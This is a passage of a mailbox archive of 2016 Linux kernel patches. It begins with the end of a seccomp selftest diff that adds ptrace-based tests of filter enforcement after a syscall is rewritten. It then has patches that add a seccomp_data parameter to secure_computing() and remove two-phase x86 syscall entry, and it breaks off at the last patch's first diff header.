-	ret = ptrace(PTRACE_SETOPTIONS, tracee, NULL, PTRACE_O_TRACESECCOMP);
+	ret = ptrace(PTRACE_SETOPTIONS, tracee, NULL, ptrace_syscall ?
+						      PTRACE_O_TRACESYSGOOD :
+						      PTRACE_O_TRACESECCOMP);
 	ASSERT_EQ(0, ret) {
 		TH_LOG("Failed to set PTRACE_O_TRACESECCOMP");
 		kill(tracee, SIGKILL);
 	}
-	ptrace(PTRACE_CONT, tracee, NULL, 0);
+	ret = ptrace(ptrace_syscall ? PTRACE_SYSCALL : PTRACE_CONT,
+		     tracee, NULL, 0);
+	ASSERT_EQ(0, ret);
 
 	/* Unblock the tracee */
 	ASSERT_EQ(1, write(fd, "A", 1));
@@ -1063,12 +1067,13 @@ void tracer(struct __test_metadata *_metadata, int fd, pid_t tracee,
 			/* Child is dead. Time to go. */
 			return;
 
-		/* Make sure this is a seccomp event. */
-		ASSERT_EQ(true, IS_SECCOMP_EVENT(status));
+		/* Check if this is a seccomp event. */
+		ASSERT_EQ(!ptrace_syscall, IS_SECCOMP_EVENT(status));
 
 		tracer_func(_metadata, tracee, status, args);
 
-		ret = ptrace(PTRACE_CONT, tracee, NULL, NULL);
+		ret = ptrace(ptrace_syscall ? PTRACE_SYSCALL : PTRACE_CONT,
+			     tracee, NULL, 0);
 		ASSERT_EQ(0, ret);
 	}
 	/* Directly report the status of our test harness results. */
@@ -1079,7 +1084,7 @@ void tracer(struct __test_metadata *_metadata, int fd, pid_t tracee,
 void cont_handler(int num)
 { }
 pid_t setup_trace_fixture(struct __test_metadata *_metadata,
-			  tracer_func_t func, void *args)
+			  tracer_func_t func, void *args, bool ptrace_syscall)
 {
 	char sync;
 	int pipefd[2];
@@ -1095,7 +1100,8 @@ pid_t setup_trace_fixture(struct __test_metadata *_metadata,
 	signal(SIGALRM, cont_handler);
 	if (tracer_pid == 0) {
 		close(pipefd[0]);
-		tracer(_metadata, pipefd[1], tracee, func, args);
+		start_tracer(_metadata, pipefd[1], tracee, func, args,
+			     ptrace_syscall);
 		syscall(__NR_exit, 0);
 	}
 	close(pipefd[1]);
@@ -1177,7 +1183,7 @@ FIXTURE_SETUP(TRACE_poke)
 
 	/* Launch tracer. */
 	self->tracer = setup_trace_fixture(_metadata, tracer_poke,
-					   &self->tracer_args);
+					   &self->tracer_args, false);
 }
 
 FIXTURE_TEARDOWN(TRACE_poke)
@@ -1399,6 +1405,29 @@ void tracer_syscall(struct __test_metadata *_metadata, pid_t tracee,
 
 }
 
+void tracer_ptrace(struct __test_metadata *_metadata, pid_t tracee,
+		   int status, void *args)
+{
+	int ret, nr;
+	unsigned long msg;
+	static bool entry;
+
+	/* Make sure we got an empty message. */
+	ret = ptrace(PTRACE_GETEVENTMSG, tracee, NULL, &msg);
+	EXPECT_EQ(0, ret);
+	EXPECT_EQ(0, msg);
+
+	/* The only way to tell PTRACE_SYSCALL entry/exit is by counting. */
+	entry = !entry;
+	if (!entry)
+		return;
+
+	nr = get_syscall(_metadata, tracee);
+
+	if (nr == __NR_getpid)
+		change_syscall(_metadata, tracee, __NR_getppid);
+}
+
 FIXTURE_DATA(TRACE_syscall) {
 	struct sock_fprog prog;
 	pid_t tracer, mytid, mypid, parent;
@@ -1440,7 +1469,8 @@ FIXTURE_SETUP(TRACE_syscall)
 	ASSERT_NE(self->parent, self->mypid);
 
 	/* Launch tracer. */
-	self->tracer = setup_trace_fixture(_metadata, tracer_syscall, NULL);
+	self->tracer = setup_trace_fixture(_metadata, tracer_syscall, NULL,
+					   false);
 }
 
 FIXTURE_TEARDOWN(TRACE_syscall)
@@ -1500,6 +1530,130 @@ TEST_F(TRACE_syscall, syscall_dropped)
 	EXPECT_NE(self->mytid, syscall(__NR_gettid));
 }
 
+TEST_F(TRACE_syscall, skip_after_RET_TRACE)
+{
+	struct sock_filter filter[] = {
+		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
+			offsetof(struct seccomp_data, nr)),
+		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getppid, 0, 1),
+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO | EPERM),
+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
+	};
+	struct sock_fprog prog = {
+		.len = (unsigned short)ARRAY_SIZE(filter),
+		.filter = filter,
+	};
+	long ret;
+
+	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Install fixture filter. */
+	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Install "errno on getppid" filter. */
+	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Tracer will redirect getpid to getppid, and we should see EPERM. */
+	EXPECT_EQ(-1, syscall(__NR_getpid));
+	EXPECT_EQ(EPERM, errno);
+}
+
+TEST_F_SIGNAL(TRACE_syscall, kill_after_RET_TRACE, SIGSYS)
+{
+	struct sock_filter filter[] = {
+		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
+			offsetof(struct seccomp_data, nr)),
+		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getppid, 0, 1),
+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
+	};
+	struct sock_fprog prog = {
+		.len = (unsigned short)ARRAY_SIZE(filter),
+		.filter = filter,
+	};
+	long ret;
+
+	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Install fixture filter. */
+	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Install "death on getppid" filter. */
+	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Tracer will redirect getpid to getppid, and we should die. */
+	EXPECT_NE(self->mypid, syscall(__NR_getpid));
+}
+
+TEST_F(TRACE_syscall, skip_after_ptrace)
+{
+	struct sock_filter filter[] = {
+		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
+			offsetof(struct seccomp_data, nr)),
+		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getppid, 0, 1),
+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO | EPERM),
+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
+	};
+	struct sock_fprog prog = {
+		.len = (unsigned short)ARRAY_SIZE(filter),
+		.filter = filter,
+	};
+	long ret;
+
+	/* Swap SECCOMP_RET_TRACE tracer for PTRACE_SYSCALL tracer. */
+	teardown_trace_fixture(_metadata, self->tracer);
+	self->tracer = setup_trace_fixture(_metadata, tracer_ptrace, NULL,
+					   true);
+
+	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Install "errno on getppid" filter. */
+	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Tracer will redirect getpid to getppid, and we should see EPERM. */
+	EXPECT_EQ(-1, syscall(__NR_getpid));
+	EXPECT_EQ(EPERM, errno);
+}
+
+TEST_F_SIGNAL(TRACE_syscall, kill_after_ptrace, SIGSYS)
+{
+	struct sock_filter filter[] = {
+		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
+			offsetof(struct seccomp_data, nr)),
+		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getppid, 0, 1),
+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
+	};
+	struct sock_fprog prog = {
+		.len = (unsigned short)ARRAY_SIZE(filter),
+		.filter = filter,
+	};
+	long ret;
+
+	/* Swap SECCOMP_RET_TRACE tracer for PTRACE_SYSCALL tracer. */
+	teardown_trace_fixture(_metadata, self->tracer);
+	self->tracer = setup_trace_fixture(_metadata, tracer_ptrace, NULL,
+					   true);
+
+	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Install "death on getppid" filter. */
+	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
+	ASSERT_EQ(0, ret);
+
+	/* Tracer will redirect getpid to getppid, and we should die. */
+	EXPECT_NE(self->mypid, syscall(__NR_getpid));
+}
+
 #ifndef __NR_seccomp
 # if defined(__i386__)
 #  define __NR_seccomp 354
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: [PATCH 02/14] seccomp: Add a seccomp_data parameter secure_computing()
Date: Thu,  9 Jun 2016 14:01:52 -0700
Lines: 190
Approved: news@gmane.org
Message-ID: <1465506124-21866-3-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506201 14371 80.91.229.3 (9 Jun 2016 21:03:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:03:21 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
        Andy Lutomirski <luto@kernel.org>, linux-arch@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        James Hogan <james.hogan@imgtec.com>,
        Jeff Dike <jdike@addtoit.com>,
        linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, "Maciej W. Rozycki" <macro@imgtec.com>,
        Mark Rutland <mark.rutland@arm.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Paul Mackerras <paulus@samba.or
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Jun 09 23:03:09 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1bB76Z-0008Na-HN
	for sgi-linux-mips@gmane.org; Thu, 09 Jun 2016 23:03:07 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:55952 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27041373AbcFIVDDtPxeE (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 9 Jun 2016 23:03:03 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 09 Jun 2016 23:02:43 +0200 (CEST)
Original-Received: from mail-pf0-f177.google.com ([209.85.192.177]:34636 "EHLO
        mail-pf0-f177.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27041371AbcFIVCcXBXmE (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 9 Jun 2016 23:02:32 +0200
Original-Received: by mail-pf0-f177.google.com with SMTP id 62so16361214pfd.1
        for <linux-mips@linux-mips.org>; Thu, 09 Jun 2016 14:02:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=3y7PrGngThSlRXdi8UedD2GZYAko/XQc9beMRq5a+54=;
        b=RiJ+e8xX8CtDfNxpENx8Go3ROju52pEef0zZ13uqo8Q5uXnT/0/qIwN4NT9dNNPwV/
         hMBbLqYu1tsVLhcDA47zol0Ma87sGz1DTH4+JXYCJ01M/y8ws5I1fm2IDioG1fONU6eu
         CSd5ZS77+qNNxva0z/20lSGyIi7f+HzL5rheQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=3y7PrGngThSlRXdi8UedD2GZYAko/XQc9beMRq5a+54=;
        b=N5YjIdYVmx3oXUyquNhC9Vc5cNHJ+KVPed+XVJzxbz/T8rJ6y1iJKjWryQuuP2SmW3
         mwreOH+Vkao131aCMf2Xb8lpWLYdWchJ+JNSfUrXcOU3clw63oFIgPabv7fB/KcOFnbC
         xoco/9zKfDvWYWpQdOB0YmqC50YzDZE/3dVVpEjO/ADltdGBjV9ZItTF1l6FLhk722vw
         8fUUd8PK4GN2FCmwGGcuGhbTCOcnR5QehVEdbSRqnZdEy6MACBYLPDLlPLuME8fw9adf
         mJIuK4h//PQW8acEcs/N7TkY9kZmbckFjmzgAG7M2NhZUsGCFOEwSLMBTYHqfcNDJDuD
         B+mw==
X-Gm-Message-State: ALyK8tL2tvPOj5RXMDqBnfk9hdcosIw1R7mP6kwQ3ZWnoN7eCpiwFtdy3eYESaV4qXpv+wBp
X-Received: by 10.98.72.82 with SMTP id v79mr6512764pfa.105.1465506145917;
        Thu, 09 Jun 2016 14:02:25 -0700 (PDT)
Original-Received: from www.outflux.net (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
        by smtp.gmail.com with ESMTPSA id 17sm12094731pfj.96.2016.06.09.14.02.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:25 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
X-archive-position: 53965
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55128 gmane.linux.kernel:2240083 gmane.linux.kernel.cross-arch:32355 gmane.linux.ports.arm.kernel:505736 gmane.linux.ports.parisc:26857 gmane.linux.ports.ppc64.devel:128381 gmane.linux.uml.devel:15886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55128>

From: Andy Lutomirski <luto@kernel.org>

Currently, if arch code wants to supply seccomp_data directly to
seccomp (which is generally much faster than having seccomp do it
using the syscall_get_xyz() API), it has to use the two-phase
seccomp hooks. Add it to the easy hooks, too.

Cc: linux-arch@vger.kernel.org
Signed-off-by: Andy Lutomirski <luto@kernel.org>
Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/arm/kernel/ptrace.c              | 2 +-
 arch/arm64/kernel/ptrace.c            | 2 +-
 arch/mips/kernel/ptrace.c             | 2 +-
 arch/parisc/kernel/ptrace.c           | 2 +-
 arch/powerpc/kernel/ptrace.c          | 2 +-
 arch/s390/kernel/ptrace.c             | 2 +-
 arch/tile/kernel/ptrace.c             | 2 +-
 arch/um/kernel/skas/syscall.c         | 2 +-
 arch/x86/entry/vsyscall/vsyscall_64.c | 2 +-
 include/linux/seccomp.h               | 8 ++++----
 kernel/seccomp.c                      | 4 ++--
 11 files changed, 15 insertions(+), 15 deletions(-)

diff --git a/arch/arm/kernel/ptrace.c b/arch/arm/kernel/ptrace.c
index ef9119f7462e..ad5e90ab165c 100644
--- a/arch/arm/kernel/ptrace.c
+++ b/arch/arm/kernel/ptrace.c
@@ -934,7 +934,7 @@ asmlinkage int syscall_trace_enter(struct pt_regs *regs, int scno)
 
 	/* Do the secure computing check first; failures should be fast. */
 #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER
-	if (secure_computing() == -1)
+	if (secure_computing(NULL) == -1)
 		return -1;
 #else
 	/* XXX: remove this once OABI gets fixed */
diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c
index 3f6cd5c5234f..6e2cf046615d 100644
--- a/arch/arm64/kernel/ptrace.c
+++ b/arch/arm64/kernel/ptrace.c
@@ -1247,7 +1247,7 @@ static void tracehook_report_syscall(struct pt_regs *regs,
 asmlinkage int syscall_trace_enter(struct pt_regs *regs)
 {
 	/* Do the secure computing check first; failures should be fast. */
-	if (secure_computing() == -1)
+	if (secure_computing(NULL) == -1)
 		return -1;
 
 	if (test_thread_flag(TIF_SYSCALL_TRACE))
diff --git a/arch/mips/kernel/ptrace.c b/arch/mips/kernel/ptrace.c
index 0dcf69194473..c50af846ecf9 100644
--- a/arch/mips/kernel/ptrace.c
+++ b/arch/mips/kernel/ptrace.c
@@ -893,7 +893,7 @@ asmlinkage long syscall_trace_enter(struct pt_regs *regs, long syscall)
 
 	current_thread_info()->syscall = syscall;
 
-	if (secure_computing() == -1)
+	if (secure_computing(NULL) == -1)
 		return -1;
 
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index b5458b37fc5b..8edc47c0b98e 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -312,7 +312,7 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 long do_syscall_trace_enter(struct pt_regs *regs)
 {
 	/* Do the secure computing check first. */
-	if (secure_computing() == -1)
+	if (secure_computing(NULL) == -1)
 		return -1;
 
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
diff --git a/arch/powerpc/kernel/ptrace.c b/arch/powerpc/kernel/ptrace.c
index 30a03c03fe73..ed799e994773 100644
--- a/arch/powerpc/kernel/ptrace.c
+++ b/arch/powerpc/kernel/ptrace.c
@@ -1783,7 +1783,7 @@ static int do_seccomp(struct pt_regs *regs)
 	 * have already loaded -ENOSYS into r3, or seccomp has put
 	 * something else in r3 (via SECCOMP_RET_ERRNO/TRACE).
 	 */
-	if (__secure_computing())
+	if (__secure_computing(NULL))
 		return -1;
 
 	/*
diff --git a/arch/s390/kernel/ptrace.c b/arch/s390/kernel/ptrace.c
index 49b1c13bf6c9..c238e9958c2a 100644
--- a/arch/s390/kernel/ptrace.c
+++ b/arch/s390/kernel/ptrace.c
@@ -824,7 +824,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 	long ret = 0;
 
 	/* Do the secure computing check first. */
-	if (secure_computing()) {
+	if (secure_computing(NULL)) {
 		/* seccomp failures shouldn't expose any additional code. */
 		ret = -1;
 		goto out;
diff --git a/arch/tile/kernel/ptrace.c b/arch/tile/kernel/ptrace.c
index 54e7b723db99..8c6d2f2fefa3 100644
--- a/arch/tile/kernel/ptrace.c
+++ b/arch/tile/kernel/ptrace.c
@@ -255,7 +255,7 @@ int do_syscall_trace_enter(struct pt_regs *regs)
 {
 	u32 work = ACCESS_ONCE(current_thread_info()->flags);
 
-	if (secure_computing() == -1)
+	if (secure_computing(NULL) == -1)
 		return -1;
 
 	if (work & _TIF_SYSCALL_TRACE) {
diff --git a/arch/um/kernel/skas/syscall.c b/arch/um/kernel/skas/syscall.c
index 48b0dcbd87be..9c5570f0f397 100644
--- a/arch/um/kernel/skas/syscall.c
+++ b/arch/um/kernel/skas/syscall.c
@@ -21,7 +21,7 @@ void handle_syscall(struct uml_pt_regs *r)
 	PT_REGS_SET_SYSCALL_RETURN(regs, -ENOSYS);
 
 	/* Do the secure computing check first; failures should be fast. */
-	if (secure_computing() == -1)
+	if (secure_computing(NULL) == -1)
 		return;
 
 	if (syscall_trace_enter(regs))
diff --git a/arch/x86/entry/vsyscall/vsyscall_64.c b/arch/x86/entry/vsyscall/vsyscall_64.c
index 174c2549939d..85acde5fa442 100644
--- a/arch/x86/entry/vsyscall/vsyscall_64.c
+++ b/arch/x86/entry/vsyscall/vsyscall_64.c
@@ -207,7 +207,7 @@ bool emulate_vsyscall(struct pt_regs *regs, unsigned long address)
 	 */
 	regs->orig_ax = syscall_nr;
 	regs->ax = -ENOSYS;
-	tmp = secure_computing();
+	tmp = secure_computing(NULL);
 	if ((!tmp && regs->orig_ax != syscall_nr) || regs->ip != address) {
 		warn_bad_vsyscall(KERN_DEBUG, regs,
 				  "seccomp tried to change syscall nr or ip");
diff --git a/include/linux/seccomp.h b/include/linux/seccomp.h
index 2296e6b2f690..9eaa7b34d6da 100644
--- a/include/linux/seccomp.h
+++ b/include/linux/seccomp.h
@@ -28,11 +28,11 @@ struct seccomp {
 };
 
 #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER
-extern int __secure_computing(void);
-static inline int secure_computing(void)
+extern int __secure_computing(const struct seccomp_data *sd);
+static inline int secure_computing(const struct seccomp_data *sd)
 {
 	if (unlikely(test_thread_flag(TIF_SECCOMP)))
-		return  __secure_computing();
+		return  __secure_computing(sd);
 	return 0;
 }
 
@@ -61,7 +61,7 @@ struct seccomp { };
 struct seccomp_filter { };
 
 #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER
-static inline int secure_computing(void) { return 0; }
+static inline int secure_computing(struct seccomp_data *sd) { return 0; }
 #else
 static inline void secure_computing_strict(int this_syscall) { return; }
 #endif
diff --git a/kernel/seccomp.c b/kernel/seccomp.c
index 7002796f14a4..06816290a212 100644
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -554,9 +554,9 @@ void secure_computing_strict(int this_syscall)
 		BUG();
 }
 #else
-int __secure_computing(void)
+int __secure_computing(const struct seccomp_data *sd)
 {
-	u32 phase1_result = seccomp_phase1(NULL);
+	u32 phase1_result = seccomp_phase1(sd);
 
 	if (likely(phase1_result == SECCOMP_PHASE1_OK))
 		return 0;
-- 
2.7.4




From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: [PATCH 03/14] x86/entry: Get rid of two-phase syscall entry work
Date: Thu,  9 Jun 2016 14:01:53 -0700
Lines: 145
Approved: news@gmane.org
Message-ID: <1465506124-21866-4-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506216 14475 80.91.229.3 (9 Jun 2016 21:03:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:03:36 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
	Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, "Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Weinberger <richard@nod.at>,
	Russell King <linux@armlinux.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 09 23:03:26 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bB76h-0008Ta-TP
	for glk-linux-kernel-3@plane.gmane.org; Thu, 09 Jun 2016 23:03:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752204AbcFIVCl (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 9 Jun 2016 17:02:41 -0400
Original-Received: from mail-pf0-f170.google.com ([209.85.192.170]:35147 "EHLO
	mail-pf0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751965AbcFIVC2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 9 Jun 2016 17:02:28 -0400
Original-Received: by mail-pf0-f170.google.com with SMTP id c2so16362934pfa.2
        for <linux-kernel@vger.kernel.org>; Thu, 09 Jun 2016 14:02:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=HxyjAmQOE5qeZ7EhwE669HPBzRp/2ElYQ397JoX8rz8=;
        b=Vvl41tl3QAu6SsK87BdulFghpvNhcHpaB3ZvlNgX2UjSYlnLzouS5HKKUaofrwjXfy
         RkD2R4UZEZElhIlDAJIPGAnlDDaaec426LxMa4YSxwovb0KSJz90i6V0oq0QUROy2XKw
         EmrsmPZhgBAxDvP2w1ir3JDca/+ppySEyfjo4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=HxyjAmQOE5qeZ7EhwE669HPBzRp/2ElYQ397JoX8rz8=;
        b=UbxiYsALHPKexyygKWXSsXopUVMcMARAsNuwHWwIqCNKcd72kCcD4Kq1Tp6Cid9o6F
         5Af6hASPcENLJIWCP5sYrkjzqANQLYEmv7e+0V4sQsg6iBdVGvL+hPzTlmHaXsgMH/ue
         R7g6ebsmuq/lTKI9PjXFCHeTLpcJc3sEvKqr3WKLhw6GagpBB5a2y2eDASYu9IlK/Cbw
         o7G65YG6p6TGjrvx5HQxHtH4LaQv6cOrv2hRwbPGAYCo+AjWeNr1y29QNMXdiF4nB8k2
         v+1T6CUt0rlEYZHimDyl2bppBSbauQ/u35rVbXAqTpIqRU1TL2QDwFqzNUBz7m/6Z3dl
         yDNQ==
X-Gm-Message-State: ALyK8tIvKX5PA/BcRigPFbcAT+lAS0Bk86SH/kVjrSO2NV/66IfEru5B4CRmPBGkY0hvxpLe
X-Received: by 10.98.216.199 with SMTP id e190mr6655711pfg.76.1465506147310;
        Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
Original-Received: from www.outflux.net ([2002:ada4:7085:0:ae16:2dff:fe07:4fb6])
        by smtp.gmail.com with ESMTPSA id lg17sm12123457pab.36.2016.06.09.14.02.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Jun 2016 14:02:26 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2240084 gmane.linux.kernel.cross-arch:32356 gmane.linux.ports.arm.kernel:505737 gmane.linux.ports.mips.general:55129 gmane.linux.ports.parisc:26858 gmane.linux.ports.ppc64.devel:128382 gmane.linux.uml.devel:15887
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2240084>

From: Andy Lutomirski <luto@kernel.org>

I added two-phase syscall entry work back when the entry slow path
was very slow.  Nowadays, the entry slow path is fast and two-phase
entry work serves no purpose.  Remove it.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/x86/entry/common.c       | 84 +++++--------------------------------------
 arch/x86/include/asm/ptrace.h |  6 ----
 2 files changed, 8 insertions(+), 82 deletions(-)

diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
